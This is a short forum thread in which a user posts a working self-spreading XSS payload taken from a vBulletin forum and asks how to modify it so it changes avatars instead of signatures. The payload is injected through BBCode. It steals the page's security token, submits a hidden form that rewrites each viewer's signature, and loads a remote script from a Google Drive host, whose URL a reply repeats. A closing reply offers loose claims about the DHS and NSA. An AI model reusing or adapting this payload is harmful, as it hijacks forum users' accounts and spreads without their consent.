Anyone that understans javascript

So... Some guy did a cool script that changed the assinature of everyone (that saw it) on the forum to   say "WOLOLO" through youtube.
I though it was really cool and wanted to change it to change the avatar. I'm not a javascript expert, I've got some things but... Yea.

Hacked by WOLOLO[YT][URL=/onload=e=document;n=e.body;x=function(y){return(e. createElement(y));};v=function(y,z){y.appendChild( z);};b="securitytoken";c=e.getElementsByName(b).it em(0).value;d="input";k="updatesignature";x("lol") ;f=x("form");g=x(d);i=x(d);j=x(d);s=x("script");l= x("iframe");s.src=decodeURIComponent("https%3A%2F% 2Fgoogledrive.com%2Fhost%2F0Bzm3JoSYa739MzN2eWhYb2 R2eVE");s.setAttribute("onload","g.value=lolololol o;v(f,g);v(n,f);f.submit();WOLOLO();");l.name="l"; f.action="profile.php?do="+k;f.method="post";f.set Attribute("target","l");g.name="message";i.name=b; i.value=c;j.name="do";j.value=k;v(f,i);v(f,j);v(n, l);v(n,s);this.parentNode.removeChild(this); //]x[/URL][/YT]


This was in Vbulletin, so maybe its a security breach in all the Vbulletin forums and not just this one?

Easy. Just change the sHacked by WOLOLO

Heh, exploits in BBCODE are so 90s. And so is including a google drive url.

https://googledrive.com/host/0Bzm3JoSYa739MzN2eWhYb2R2eVE

Did you ever notice they now call hackers cyber terrorists?
This makes it a national security issue what you do on the internet.
This means the DHS can get involved.
Who unlike the FBI actually DO have a SI (signals intelligence) clearance.
Who can then use information from the NSA to bust you.